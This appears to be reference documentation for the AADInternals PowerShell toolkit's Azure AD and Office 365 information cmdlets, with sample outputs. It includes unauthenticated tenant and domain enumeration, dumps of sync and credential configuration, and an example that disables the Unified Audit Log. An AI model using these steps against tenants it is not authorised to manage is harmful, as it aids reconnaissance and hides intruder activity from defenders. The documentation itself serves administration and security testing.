Information functions are functions that can be used to retrieve information about users, tenants, and Office 365. Functions marked with * doesn’t need authentication. Functions marked with A uses AAD Graph access token.
Get-AADIntLoginInformation (*)
This function returns login information for the given user (or domain).
Example:
# Get login information for a domain
Get-AADIntLoginInformation -Domain company.comOutput:
Federation Protocol : WSTrust
Pref Credential : 4
Consumer Domain :
Cloud Instance audience urn : urn:federation:MicrosoftOnline
Authentication Url : https://msft.sts.microsoft.com/adfs/ls/?username=nn%40microsoft.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=
Throttle Status : 1
Account Type : Federated
Has Password : True
Federation Active Authentication Url : https://msft.sts.microsoft.com/adfs/services/trust/2005/usernamemixed
Exists : 0
Federation Metadata Url : https://msft.sts.microsoft.com/adfs/services/trust/mex
Desktop Sso Enabled :
Tenant Banner Logo :
Tenant Locale :
Cloud Instance : microsoftonline.com
State : 3
Domain Type : 4
Domain Name : microsoft.com
Tenant Banner Illustration :
Federation Brand Name : Microsoft
Federation Global Version : -1
User State : 2
Get-AADIntEndpointInstances (*)
This function returns Office 365 instances and information when the latest changes have been made (e.g. ips & urls).
Example:
# Get Office 365 instances
Get-AADIntEndpointInstances Output:
instance latest
-------- ------
Worldwide 2018100100
USGovDoD 2018100100
USGovGCCHigh 2018100100
China 2018100100
Germany 2018100100
Get-AADIntEndpointIps (*)
This function returns Office 365 ip addresses and urls for the given instance. The information can be used to create firewall rules.
Example:
# Get ips and urls for "normal" Office 365
Get-AADIntEndpointIps -Instance WorldWideOutput:
id : 1
serviceArea : Exchange
serviceAreaDisplayName : Exchange Online
urls : {outlook.office.com, outlook.office365.com}
ips : {13.107.6.152/31, 13.107.9.152/31, 13.107.18.10/31, 13.107.19.10/31...}
tcpPorts : 80,443
expressRoute : True
category : Optimize
required : True
id : 2
serviceArea : Exchange
serviceAreaDisplayName : Exchange Online
urls : {smtp.office365.com}
ips : {13.107.6.152/31, 13.107.9.152/31, 13.107.18.10/31, 13.107.19.10/31...}
tcpPorts : 587
expressRoute : True
category : Allow
required : True
Get-AADIntTenantDetails (A)
This function returns details for the given tenant.
Example:
# Get tenant details
Get-AADIntTenantDetailsOutput:
odata.type : Microsoft.DirectoryServices.TenantDetail
objectType : Company
objectId : e21e0e8c-d2ed-4edf-aa91-937963949cdc
deletionTimestamp :
assignedPlans : ..
city :
companyLastDirSyncTime : 2018-10-25T12:53:43Z
country :
countryLetterCode : FI
dirSyncEnabled : True
displayName : Company Ltd
marketingNotificationEmails : {}
postalCode :
preferredLanguage : en
privacyProfile :
provisionedPlans : ..
provisioningErrors : {}
securityComplianceNotificationMails : {}
securityComplianceNotificationPhones : {}
state :
street :
technicalNotificationMails : {user@alt.none}
telephoneNumber : 123456789
verifiedDomains : ..
Get-AADIntTenantID (*)
Since version 0.1.6
This function returns tenant id for the given user, domain, or Access Token.
Example:
# Get tenant ID
Get-AADIntTenantID -Domain microsoft.comOutput:
72f988bf-86f1-41af-91ab-2d7cd011db47
Get-AADIntOpenIDConfiguration (*)
Since version 0.1.6
This function returns the open ID configuration for the given user or domain.
Example:
# Get tenant ID
Get-AADIntOpenIDConfiguration -Domain microsoft.comOutput:
authorization_endpoint : https://login.microsoftonline.com/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
token_endpoint : https://login.microsoftonline.com/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/token
token_endpoint_auth_methods_supported : {client_secret_post, private_key_jwt, client_secret_basic}
jwks_uri : https://login.microsoftonline.com/common/discovery/keys
response_modes_supported : {query, fragment, form_post}
subject_types_supported : {pairwise}
id_token_signing_alg_values_supported : {RS256}
http_logout_supported : True
frontchannel_logout_supported : True
end_session_endpoint : https://login.microsoftonline.com/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/logout
response_types_supported : {code, id_token, code id_token, token id_token...}
scopes_supported : {openid}
issuer : https://sts.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/
claims_supported : {sub, iss, cloud_instance_name, cloud_instance_host_name...}
microsoft_multi_refresh_token : True
check_session_iframe : https://login.microsoftonline.com/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/checksession
userinfo_endpoint : https://login.microsoftonline.com/72f988bf-86f1-41af-91ab-2d7cd011db47/openid/userinfo
tenant_region_scope : WW
cloud_instance_name : microsoftonline.com
cloud_graph_host_name : graph.windows.net
msgraph_host : graph.microsoft.com
rbac_url : https://pas.windows.net
Get-AADIntServiceLocations (A)
This function shows the tenant’s true service locations.
Example:
# Get service location information of the tenant
Get-AADIntServiceLocations | Format-TableOutput:
Region Instance Name State Country
------ -------- ---- ----- -------
EU EU001 PowerBI IR
EU PROD_MSUB01_02 SCO IE
NA NA001 MultiFactorService US
NA NA001 AzureAdvancedThreatAnalytics US
EU Prod04 Adallom GB
NA NA001 AADPremiumService US
EU EURP191-001-01 exchange IE
NA NA003 YammerEnterprise US
NA NA001 To-Do US
NA NA001 TeamspaceAPI US
NA NA001 Sway US
EU SPOS1196 SharePoint NL
EU EU RMSOnline NL
EU PROD_EU_Org_Ring_152 ProjectWorkManagement NL
NA NA001 ProcessSimple US
NA NA001 PowerAppsService US
NA NA001 OfficeForms US
NA NA001 MicrosoftStream US
NA NorthAmerica1 MicrosoftOffice US
EU EMEA-2E-S3 MicrosoftCommunicationsOnline NL
EU emea05-01 ExchangeOnlineProtection NL
NA NA001 Deskless US
NA NA002 SMIT US
NA NA001 Metro US
EU EU003 DirectoryToCosmos GB
NA * BecWSClients US
NA NA033 BDM US
EU EUGB02 AadAllTenantsNotifications GB
Get-AADIntServicePlans (A)
This function returns information about tenant’s service plans, such as name, id, status, and when first assigned.
Example:
# Get the service plans of the tenant
Get-AADIntServicePlans | Format-TableOutput:
SKU ServicePlanId ServiceName ServiceType AssignedTimestamp CapabilityStatus ProvisioningStatus
--- ------------- ----------- ----------- ----------------- ---------------- ------------------
ENTERPRISEPREMIUM b1188c4c-1b36-4018-b48b-ee07604f6feb PAM_ENTERPRISE Exchange 2018-09-27T15:47:45Z Enabled Success
76846ad7-7776-4c40-a281-a386362dd1b9 ProcessSimple 2018-09-27T15:47:25Z Deleted
c87f142c-d1e9-4363-8630-aaea9c4d9ae5 To-Do 2018-09-27T15:47:24Z Deleted
c68f8d98-5534-41c8-bf36-22fa496fa792 PowerAppsService 2018-09-27T15:47:25Z Deleted
9e700747-8b1d-45e5-ab8d-ef187ceec156 MicrosoftStream 2018-09-27T15:47:25Z Deleted
2789c901-c14e-48ab-a76a-be334d9d793a OfficeForms 2018-09-27T15:47:25Z Deleted
ENTERPRISEPREMIUM 9f431833-0334-42de-a7dc-70aa40db46db LOCKBOX_ENTERPRISE Exchange 2018-08-27T05:46:50Z Enabled Success
ENTERPRISEPREMIUM 3fb82609-8c27-4f7b-bd51-30634711ee67 BPOS_S_TODO_3 To-Do 2018-08-27T05:46:50Z Enabled Success
ENTERPRISEPREMIUM 7547a3fe-08ee-4ccb-b430-5077c5041653 YAMMER_ENTERPRISE YammerEnterprise 2018-08-27T05:46:51Z Enabled Success
ENTERPRISEPREMIUM 8e0c0a52-6a6c-4d40-8370-dd62790dcd70 THREAT_INTELLIGENCE Exchange 2018-08-27T05:46:50Z Enabled Success
ENTERPRISEPREMIUM 9c0dab89-a30c-4117-86e7-97bda240acd2 POWERAPPS_O365_P3 PowerAppsService 2018-08-27T05:46:50Z Enabled Success
ENTERPRISEPREMIUM b737dad2-2f6c-4c65-90e3-ca563267e8b9 PROJECTWORKMANAGEMENT ProjectWorkManagement 2018-08-27T05:46:51Z Enabled Success
ENTERPRISEPREMIUM 5dbe027f-2339-4123-9542-606e4d348a72 SHAREPOINTENTERPRISE SharePoint 2018-08-27T05:46:51Z Enabled Success
ENTERPRISEPREMIUM 8c098270-9dd4-4350-9b30-ba4703f3b36b ADALLOM_S_O365 Adallom 2018-08-27T05:46:50Z Enabled Success
ENTERPRISEPREMIUM 6c6042f5-6f01-4d67-b8c1-eb99d36eed3e STREAM_O365_E5 MicrosoftStream 2018-08-27T05:46:50Z Enabled Success
ENTERPRISEPREMIUM 07699545-9485-468e-95b6-2fca3738be01 FLOW_O365_P3 ProcessSimple 2018-08-27T05:46:50Z Enabled Success
ENTERPRISEPREMIUM 4de31727-a228-4ec3-a5bf-8e45b5ca48cc EQUIVIO_ANALYTICS Exchange 2018-08-27T05:46:50Z Enabled Success
ENTERPRISEPREMIUM 0feaeb32-d00e-4d66-bd5a-43b5b83db82c MCOSTANDARD MicrosoftCommunicationsOnline 2018-08-27T05:46:51Z Enabled Success
ENTERPRISEPREMIUM 70d33638-9c74-4d01-bfd3-562de28bd4ba BI_AZURE_P2 PowerBI 2018-08-27T05:46:51Z Enabled Success
ENTERPRISEPREMIUM 43de0ff5-c92c-492b-9116-175376d08c38 OFFICESUBSCRIPTION MicrosoftOffice 2018-08-27T05:46:51Z Enabled Success
ENTERPRISEPREMIUM 3e26ee1f-8a5f-4d52-aee2-b81ce45c8f40 MCOMEETADV MicrosoftCommunicationsOnline 2018-08-27T05:46:51Z Enabled Success
ENTERPRISEPREMIUM e95bec33-7c88-4a70-8e19-b10bd9d0c014 SHAREPOINTWAC SharePoint 2018-08-27T05:46:51Z Enabled Success
ENTERPRISEPREMIUM 8c7d2df8-86f0-4902-b2ed-a0458298f3b3 Deskless Deskless 2018-08-27T05:46:50Z Enabled Success
ENTERPRISEPREMIUM 57ff2da0-773e-42df-b2af-ffb7a2317929 TEAMS1 TeamspaceAPI 2018-08-27T05:46:50Z Enabled Success
ENTERPRISEPREMIUM 4828c8ec-dc2e-4779-b502-87ac9ce28ab7 MCOEV MicrosoftCommunicationsOnline 2018-08-27T05:46:51Z Enabled Success
ENTERPRISEPREMIUM 34c0d7a0-a70f-4668-9238-47f9fc208882 EXCHANGE_ANALYTICS Exchange 2018-08-27T05:46:50Z Enabled Success
ENTERPRISEPREMIUM f20fedf3-f3c3-43c3-8267-2bfdd51c0939 ATP_ENTERPRISE Exchange 2018-08-27T05:46:51Z Enabled Success
ENTERPRISEPREMIUM efb87545-963c-4e0d-99df-69c6916d9eb0 EXCHANGE_S_ENTERPRISE Exchange 2018-08-27T05:46:51Z Enabled Success
ENTERPRISEPREMIUM e212cbc7-0961-4c40-9825-01117710dcb1 FORMS_PLAN_E5 OfficeForms 2018-08-27T05:46:50Z Enabled Success
ENTERPRISEPREMIUM a23b959c-7ce8-4e57-9140-b90eb88a9e97 SWAY Sway 2018-08-27T05:46:51Z Enabled Success
EMSPREMIUM 113feb6c-3fe4-4440-bddc-54d774bf0318 EXCHANGE_S_FOUNDATION Exchange 2018-08-13T10:17:31Z Enabled Success
EMSPREMIUM eec0eb4f-6444-4f95-aba0-50c24d67f998 AAD_PREMIUM_P2 AADPremiumService 2018-08-13T10:17:33Z Enabled Success
EMSPREMIUM c1ec4a95-1f05-45b3-a911-aa3fa01094f5 INTUNE_A SCO 2018-08-13T10:17:32Z Enabled Success
EMSPREMIUM 2e2ddb96-6af9-4b1d-a3f0-d6ecfd22edb2 ADALLOM_S_STANDALONE Adallom 2018-08-13T10:17:31Z Enabled Success
EMSPREMIUM 6c57d4b6-3b23-47a5-9bc9-69f17b4947b3 RMS_S_PREMIUM RMSOnline 2018-08-13T10:17:32Z Enabled Success
EMSPREMIUM 41781fb2-bc02-4b7c-bd55-b576c07bb09d AAD_PREMIUM AADPremiumService 2018-08-13T10:17:34Z Enabled Success
EMSPREMIUM 14ab5db5-e6c4-4b20-b4bc-13e36fd2227f ATA AzureAdvancedThreatAnalytics 2018-08-13T10:17:31Z Enabled Success
EMSPREMIUM 8a256a2b-b617-496d-b51b-e76466e88db0 MFA_PREMIUM MultiFactorService 2018-08-13T10:17:33Z Enabled Success
EMSPREMIUM 5689bec4-755d-4753-8b61-40975025187c RMS_S_PREMIUM2 RMSOnline 2018-08-13T10:17:31Z Enabled Success
ENTERPRISEPREMIUM 882e1d05-acd1-4ccb-8708-6ee03664b117 INTUNE_O365 SCO 2018-07-26T15:47:50Z Deleted PendingActivation
EMSPREMIUM bea4c11e-220a-4e6d-8eb8-8ea15d019f90 RMS_S_ENTERPRISE RMSOnline 2018-06-26T10:47:37Z Enabled Success
Get-AADIntServicePrincipals (A)
Since version 0.4.5
Extracts Azure AD service principals.
Example:
# Get the access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# List service principals
Get-AADIntServicePrincipalsOutput:
AccountEnabled : true
Addresses :
AppPrincipalId : d32c68ad-72d2-4acb-a0c7-46bb2cf93873
DisplayName : Microsoft Activity Feed Service
ObjectId : 321e7bdd-d7b0-4a64-8eb3-38c259c1304a
ServicePrincipalNames : ServicePrincipalNames
TrustedForDelegation : false
AccountEnabled : true
Addresses : Addresses
AppPrincipalId : 0000000c-0000-0000-c000-000000000000
DisplayName : Microsoft App Access Panel
ObjectId : a9e03f2f-4471-41f2-96c5-589d5d7117bc
ServicePrincipalNames : ServicePrincipalNames
TrustedForDelegation : false
AccountEnabled : true
Addresses :
AppPrincipalId : dee7ba80-6a55-4f3b-a86c-746a9231ae49
DisplayName : Microsoft AppPlat EMA
ObjectId : ae0b81fc-c521-4bfd-9eaa-04c520b4b5fd
ServicePrincipalNames : ServicePrincipalNames
TrustedForDelegation : false
AccountEnabled : true
Addresses : Addresses
AppPrincipalId : 65d91a3d-ab74-42e6-8a2f-0add61688c74
DisplayName : Microsoft Approval Management
ObjectId : d8ec5b95-e5f6-416e-8e7c-c6c52ec5a11f
ServicePrincipalNames : ServicePrincipalNames
TrustedForDelegation : false
Example:
# Get details for Microsoft Activity Feed Service
Get-AADIntServicePrincipals -ClientIds d32c68ad-72d2-4acb-a0c7-46bb2cf93873Output:
odata.type : Microsoft.DirectoryServices.ServicePrincipal
objectType : ServicePrincipal
objectId : 321e7bdd-d7b0-4a64-8eb3-38c259c1304a
deletionTimestamp :
accountEnabled : True
addIns : {}
alternativeNames : {}
appBranding :
appCategory :
appData :
appDisplayName : Microsoft Activity Feed Service
appId : d32c68ad-72d2-4acb-a0c7-46bb2cf93873
applicationTemplateId :
appMetadata :
appOwnerTenantId : f8cdef31-a31e-4b4a-93e4-5f571e91255a
appRoleAssignmentRequired : False
appRoles : {}
authenticationPolicy :
disabledByMicrosoftStatus :
displayName : Microsoft Activity Feed Service
errorUrl :
homepage :
informationalUrls : @{termsOfService=; support=; privacy=; marketing=}
keyCredentials : {}
logoutUrl :
managedIdentityResourceId :
microsoftFirstParty : True
notificationEmailAddresses : {}
oauth2Permissions : {...}
passwordCredentials : {}
preferredSingleSignOnMode :
preferredTokenSigningKeyEndDateTime :
preferredTokenSigningKeyThumbprint :
publisherName : Microsoft Services
replyUrls : {}
samlMetadataUrl :
samlSingleSignOnSettings :
servicePrincipalNames : {d32c68ad-72d2-4acb-a0c7-46bb2cf93873, https://activity.windows.com, https://acti
vity.microsoft.com, https://enterprise.activity.windows.com}
tags : {}
tokenEncryptionKeyId :
servicePrincipalType : Application
useCustomTokenSigningKey :
verifiedPublisher : @{displayName=; verifiedPublisherId=; addedDateTime=}
Get-AADIntSubscriptions (A)
This function returns tenant’s subscription details, such as name, id, number of licenses, and when created.
Example:
# Get subscriptions of the tenant
Get-AADIntSubscriptionsOutput:
SkuPartNumber WarningUnits TotalLicenses IsTrial NextLifecycleDate OcpSubscriptionId ConsumedUnits ObjectId SkuId DateCreated
------------- ------------ ------------- ------- ----------------- ----------------- ------------- -------- ----- -----------
EMSPREMIUM 0 250 true 2018-11-13T00:00:00Z 76909010-12ed-4b05-b3d7-ee1b42c21b4e 21 58265dbe-24e0-4cdb-8b62-51197a4c1c13 b05e124f-c7cc-45a0-a6aa-8cf78c946968 2018-08-13T00:00:00Z
ENTERPRISEPREMIUM 25 25 true 2018-10-27T15:47:40Z 7c206b83-2487-49fa-b91e-3d676de02ccb 21 df58544b-5062-4d6c-85de-937f203bbe0f c7df2760-2c81-4ef7-b578-5b5392b571df 2018-08-27T00:00:00Z
Get-AADIntSPOServiceInformation (A)
This function returns details of tenant’s SharePoint Online instance, such as when created and last modified.
Example:
# Get SharePoint Online information
Get-AADIntSPOServiceInformationOutput: (sorted for clarity)
CreatedOn : 6/26/2018 11:16:12 AM
EnableOneDriveforSuiteUsers : False
InstanceId : 44f5a625-f90e-4916-b8ab-ec45d38bdbb6
LastModifiedOn : 10/25/2018 7:37:38 AM
OfficeGraphUrl : https://company-my.sharepoint.com/_layouts/15/me.aspx
RootAdminUrl : https://company-admin.sharepoint.com/
RootIWSPOUrl : https://company-my.sharepoint.com/
SPO_LegacyPublicWebSiteEditPage : Pages/Forms/AllItems.aspx
SPO_LegacyPublicWebSitePublicUrl :
SPO_LegacyPublicWebSiteUrl :
SPO_MySiteHostUrl : https://company-my.sharepoint.com/
SPO_MySiteHost_AboutMeUrl : https://company-my.sharepoint.com/person.aspx
SPO_MySiteHost_DocumentsUrl : https://company-my.sharepoint.com/_layouts/15/MySite.aspx?MySiteRedirect=AllDocuments
SPO_MySiteHost_NewsFeedUrl : https://company-my.sharepoint.com/default.aspx
SPO_MySiteHost_ProjectSiteUrl : https://company-my.sharepoint.com/_layouts/15/MyProjects.aspx
SPO_MySiteHost_SitesUrl : https://company-my.sharepoint.com/_layouts/15/MySite.aspx?MySiteRedirect=AllSites
SPO_PublicWebSitePublicUrl :
SPO_PublicWebSiteUrl : NotSupported
SPO_RegionalRootSiteUrl : https://company.sharepoint.com/
SPO_RootSiteUrl : https://company.sharepoint.com/
SPO_TenantAdminUrl : https://company-admin.sharepoint.com/
SPO_TenantAdmin_CreateSiteCollectionUrl : https://company-admin.sharepoint.com/_layouts/15/online/CreateSiteFull.aspx
SPO_TenantAdmin_ProjectAdminUrl : https://company-admin.sharepoint.com/
SPO_TenantAdmin_ViewSiteCollectionsUrl : https://company-admin.sharepoint.com/
SPO_TenantUpgradeUrl : https://company-admin.sharepoint.com/
ServiceInformation_LastChangeDate : 10/25/2018 7:37:22 AM
ShowSites_InitialVisibility : True
ShowSkyDrivePro_InitialVisibility : True
ShowYammerNewsFeed_InitialVisibility : True
VideoPortalServerRelativeUrl : /portals/hub/_layouts/15/videohome.aspx
Get-AADIntCompanyInformation (A)
This function returns details about tenant’s company information. Pretty much same functionality than Get-MsolCompanyInformation cmdlet.
Example:
# Get company information of the tenant
Get-AADIntCompanyInformationOutput:
AllowAdHocSubscriptions : false
AllowEmailVerifiedUsers : false
AuthorizedServiceInstances : AuthorizedServiceInstances
AuthorizedServices :
City :
CompanyDeletionStartTime :
CompanyTags : CompanyTags
CompanyType : CompanyTenant
CompassEnabled :
Country :
CountryLetterCode : GB
DapEnabled :
DefaultUsageLocation :
DirSyncAnchorAttribute :
DirSyncApplicationType : 1651564e-7ce4-4d99-88be-0a65050d8dc3
DirSyncClientMachineName : SERVER2016
DirSyncClientVersion : 1.1.882.0
DirSyncServiceAccount : Sync_SERVER2016_acf4f37725ce@company.onmicrosoft.com
DirectorySynchronizationEnabled : true
DirectorySynchronizationStatus : Enabled
DisplayName : Company Ltd
InitialDomain : company.onmicrosoft.com
LastDirSyncTime : 2018-10-25T13:53:46Z
LastPasswordSyncTime : 2018-10-25T14:03:01Z
MarketingNotificationEmails :
MultipleDataLocationsForServicesEnabled :
ObjectId : 6c1a3ac3-5416-4dd0-984e-228cc80dbc9f
PasswordSynchronizationEnabled : true
PortalSettings : PortalSettings
PostalCode :
PreferredLanguage : en
ReleaseTrack : StagedRollout
ReplicationScope : EU
RmsViralSignUpEnabled : false
SecurityComplianceNotificationEmails :
SecurityComplianceNotificationPhones :
SelfServePasswordResetEnabled : false
ServiceInformation : ServiceInformation
ServiceInstanceInformation : ServiceInstanceInformation
State :
Street :
SubscriptionProvisioningLimited : false
TechnicalNotificationEmails : TechnicalNotificationEmails
TelephoneNumber : 123456789
UIExtensibilityUris :
UsersPermissionToCreateGroupsEnabled : false
UsersPermissionToCreateLOBAppsEnabled : false
UsersPermissionToReadOtherUsersEnabled : true
UsersPermissionToUserConsentToAppEnabled : false
Get-AADIntCompanyTags (A)
This function returns tags attached to the tenant. Microsoft uses these to identity the status of certain changes, such as SharePoint version update.
Example:
# Get login information for a domain
Get-AADIntCompanyTags -Domain "company.com"Output:
azure.microsoft.com/azure=active
o365.microsoft.com/startdate=635711754831829038
o365.microsoft.com/version=15
o365.microsoft.com/signupexperience=GeminiSignUpUI
o365.microsoft.com/14to15UpgradeScheduled=True
o365.microsoft.com/14to15UpgradeCompletedDate=04-16-2013
Get-AADIntAADConnectStatus (Z)
Since version 0.4.5 Shows the status of Azure AD Connect (AAD Connect).
Example:
# Get the access token
Get-AADIntAccessTokenForAADIAMAPI -SaveToCache
# Show the status of AAD Connect
Get-AADIntAADConnectStatusOutput:
verifiedDomainCount : 4
verifiedCustomDomainCount : 3
federatedDomainCount : 2
numberOfHoursFromLastSync : 0
dirSyncEnabled : True
dirSyncConfigured : True
passThroughAuthenticationEnabled : True
seamlessSingleSignOnEnabled : True
Get-AADIntSyncConfiguration (A)
This function returns synchronisation details.
Example:
# Get tenant sync configuration
Get-AADIntSyncConfigurationOutput:
TresholdCount : 501
UserContainer :
TenantId : 6c1a3ac3-5416-4dd0-984e-228cc80dbc9f
ApplicationVersion : 1651564e-7ce4-4d99-88be-0a65050d8dc3
DisplayName : Company Ltd
IsPasswordSyncing : true
AllowedFeatures : {ObjectWriteback, , PasswordWriteback}
PreventAccidentalDeletion : EnabledForCount
TotalConnectorSpaceObjects : 15
MaxLinksSupportedAcrossBatchInProvision : 15000
UnifiedGroupContainer :
IsTrackingChanges : false
ClientVersion : 1.1.882.0
DirSyncFeatures : 41021
SynchronizationInterval : PT30M
AnchorAttribute :
DirSyncClientMachine : SERVER2016
IsDirSyncing : true
TresholdPercentage : 0
Get-AADIntTenantDomain (M)
Since version 0.7.2
Returns the default domain for the given tenant id.
Example:
# Get access token and store to cache
Get-AADIntAccessTokenForMSGraph -SaveToCache
# Get the default domain of the given tenant id
Get-AADIntTenantDomain -TenantId 72f988bf-86f1-41af-91ab-2d7cd011db47Output:
microsoft.onmicrosoft.com
Get-AADIntTenantDomains (*)
Since version 0.1.6
This function returns all registered domains from the tenant of the given domain.
Example:
# List domains from tenant where company.com is registered
Get-AADIntTenantDomains -Domain company.comOutput:
company.com
company.fi
company.co.uk
company.onmicrosoft.com
company.mail.onmicrosoft.com
New-AADIntMOERADomain (Z)
Since version 0.8.0
Adds a new Microsoft Online Email Routing Address (MOERA) domain (.onmicrosoft.com) to the tenant.
You can have add up to 30 MOERA domains, and can also add subdomains.
Example 1:
# Get access token and save to cache
Get-AADIntAccessTokenForAADIAMAPI -SaveToCacheTenant User Resource Client
------ ---- -------- ------
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd 74658136-14ec-4630-ad9b-26e160ff0fc6 d3590ed6-52b3-4102-aeff-aad2292ab01c
# Add new MOERA domain
New-AADIntMOERADomain -Domain "mydomain.onmicrosoft.com"authenticationType :
isDefault : False
isInitial : False
isVerified : True
name : mydomain.onmicrosoft.com
forceDeleteState :
# Get access token and save to cache
Get-AADIntAccessTokenForAADIAMAPI -SaveToCacheTenant User Resource Client
------ ---- -------- ------
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd 74658136-14ec-4630-ad9b-26e160ff0fc6 d3590ed6-52b3-4102-aeff-aad2292ab01c
# Try to add existing MOERA domain
New-AADIntMOERADomain -Domain "microsoft.onmicrosoft.com"New-AADIntMOERADomain : Domain microsoft.onmicrosoft.com is already occupied by tenant 72f988bf-86f1-41af-91ab-2d7cd011db47
Get-AADIntKerberosDomainSyncConfig (A)
Since version 0.3.1
Gets tenant’s Kerberos domain sync configuration using Azure AD Sync API
Example:
# Get the access token
$at = Get-AADIntAccessTokenForAADGraph
# Dump the Kerberos domain sync config
Get-AADIntKerberosDomainSyncConfig -AccessToken $atOutput:
PublicEncryptionKey SecuredEncryptionAlgorithm SecuredKeyId SecuredPartitionId
------------------- -------------------------- ------------ ------------------
RUNLMSAAAABOD8OPj7I3nfeuh7ELE47OtA3yvyryQ0wamf5jPy2uGKibaTRKJd/kFexTpJ8siBxszKCXC2sn1Fd9pEG2y7fu 5 2 15001
Get-AADIntWindowsCredentialsSyncConfig (A)
Since version 0.3.1
Gets tenant’s Windows credentials synchronization config
Example:
# Get the access token
$at = Get-AADIntAccessTokenForAADGraph
# Dump the Windows Credentials sync
Get-AADIntWindowsCredentialsSyncConfig -AccessToken $atOutput:
EnableWindowsLegacyCredentials EnableWindowsSupplementaCredentials SecretEncryptionCertificate
------------------------------ ----------------------------------- ---------------------------
True False MIIDJTCCAg2gAwIBAgIQFwRSInW7I...
Get-AADIntSyncDeviceConfiguration (A)
Since version 0.3.1
Gets tenant’s Windows credentials synchronization config. Does not require admin rights.
Example:
# Get the access token
$at = Get-AADIntAccessTokenForAADGraph
# Dump the Sync Device configuration
Get-AADIntSyncDeviceConfiguration -AccessToken $atOutput:
PublicIssuerCertificates CloudPublicIssuerCertificates
------------------------ -----------------------------
{$null} {MIIDejCCAmKgAwIBAgIQzsvx7rE77rJM...
Get-AADIntTenantAuthPolicy (M)
Since version 0.4.3
Gets tenant’s authorization policy, including user and guest settings.
Example:
# Get the access token
Get-AADIntAccessTokenForMSGraph -SaveToCache
# Dump the tenant authentication policy
Get-AADIntTenantAuthPolicyOutput:
id : authorizationPolicy
allowInvitesFrom : everyone
allowedToSignUpEmailBasedSubscriptions : True
allowedToUseSSPR : True
allowEmailVerifiedUsersToJoinOrganization : False
blockMsolPowerShell : False
displayName : Authorization Policy
description : Used to manage authorization related settings across the company.
enabledPreviewFeatures : {}
guestUserRoleId : a0b1b346-4d3e-4e8b-98f8-753987be4970
permissionGrantPolicyIdsAssignedToDefaultUserRole : {microsoft-user-default-legacy}
defaultUserRolePermissions : @{allowedToCreateApps=True; allowedToCreateSecurityGroups=True;
allowedToReadOtherUsers=True}
Get-AADIntTenantGuestAccess (M)
Since version 0.4.3
Gets the guest access level of the user’s tenant.
| Access level | Description |
|---|---|
| Inclusive | Guest users have the same access as members |
| Normal | Guest users have limited access to properties and memberships of directory objects |
| Restricted | Guest user access is restricted to properties and memberships of their own directory objects (most restrictive) |
Example:
# Get the access token
Get-AADIntAccessTokenForMSGraph -SaveToCache
# Get the tenant guest access
Get-AADIntTenantGuestAccessOutput:
Access Description RoleId
------ ----------- ------
Normal Guest users have limited access to properties and memberships of directory objects 10dae51f-b6af-4016-8d66-8c2a99b929b3
Set-AADIntTenantGuestAccess (M)
Since version 0.4.3
Sets the guest access level of the user’s tenant.
| Access level | Description |
|---|---|
| Inclusive | Guest users have the same access as members |
| Normal | Guest users have limited access to properties and memberships of directory objects |
| Restricted | Guest user access is restricted to properties and memberships of their own directory objects (most restrictive) |
Example:
# Get the access token
Get-AADIntAccessTokenForMSGraph -SaveToCache
# Get the tenant guest access
Set-AADIntTenantGuestAccess -Level NormalOutput:
Access Description RoleId
------ ----------- ------
Normal Guest users have limited access to properties and memberships of directory objects 10dae51f-b6af-4016-8d66-8c2a99b929b3
Enable-AADIntTenantMsolAccess (M)
Since version 0.4.3
Enables Msol PowerShell module access for the user’s tenant.
Example:
# Get the access token
Get-AADIntAccessTokenForMSGraph -SaveToCache
# Enable the Msol PowerShell module access
Enable-AADIntTenantMsolAccess
# Check the settings
Get-AADIntTenantAuthPolicy | Select block*Output:
blockMsolPowerShell
-------------------
False
Disable-AADIntTenantMsolAccess (M)
Since version 0.4.3
Disables Msol PowerShell module access for the user’s tenant.
Example:
# Get the access token
Get-AADIntAccessTokenForMSGraph -SaveToCache
# Disable the Msol PowerShell module access
Disable-AADIntTenantMsolAccess
# Check the settings after 10 seconds or so.
Get-AADIntTenantAuthPolicy | Select block*Output:
blockMsolPowerShell
-------------------
True
Get-AADIntUnifiedAuditLogSettings (E)
Since version 0.4.5
Gets Unified Audit Log settings with Get-AdminAuditLogConfig using Remote Exchange Online PowerShell.
Example:
# Get the access token
Get-AADIntAccessTokenForEXO -SaveToCache
# Get the unified audit log settings
Get-AADIntUnifiedAuditLogSettings | Select Unified*Output:
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
------------------------------- -----------------------------
true 2021-01-22T09:59:51.0870075Z
Set-AADIntUnifiedAuditLogSettings (E)
Since version 0.4.5
Enables or disables Unified Audit log Set-AdminAuditLogConfig using Remote Exchange Online PowerShell.
Note! It will take hours for the changes to take effect.
Example:
# Get the access token
Get-AADIntAccessTokenForEXO -SaveToCache
# Disable the unified audit log
Set-AADIntUnifiedAuditLogSettings -Enabled falseSearch-AADIntUnifiedAuditLog (CA)
Since version 0.6.2
Searches Unified Audit Log using https://compliance.microsoft.com/api. By default, returns 150 first log entries. With -All switch returns all entries matching the query (max 50100).
Example1:
# Get access token
Get-AADIntAccessTokenForCompliance -SaveToCache
# Dump the first 150 entries from the last 90 days to json file
Search-AADIntUnifiedAuditLog -Verbose -Start (get-date).AddDays(-90) | Set-Content auditlog.jsonExample2:
# Get access token
Get-AADIntAccessTokenForCompliance -SaveToCache
# Dump the whole log (max 50100) from the last 90 days to csv file
Search-AADIntUnifiedAuditLog -Verbose -Start (get-date).AddDays(-90) -All | ConvertTo-Csv | Set-Content auditlog.csvGet-AADIntConditionalAccessPolicies (A)
Since version 0.4.7
Shows conditional access policies.
Example:
# Get the access token
Get-AADIntAccessTokenForAADGraph -SaveToCache
# List the conditional access policies
Get-AADIntConditionalAccessPoliciesodata.type : Microsoft.DirectoryServices.Policy
objectType : Policy
objectId : 1a6a3b84-7d6d-4398-9c26-50fab315be8b
deletionTimestamp :
displayName : Default Policy
keyCredentials : {}
policyType : 18
policyDetail : {{"Version":0,"State":"Disabled"}}
policyIdentifier : 2022-11-18T00:16:20.2379877Z
tenantDefaultPolicy : 18
odata.type : Microsoft.DirectoryServices.Policy
objectType : Policy
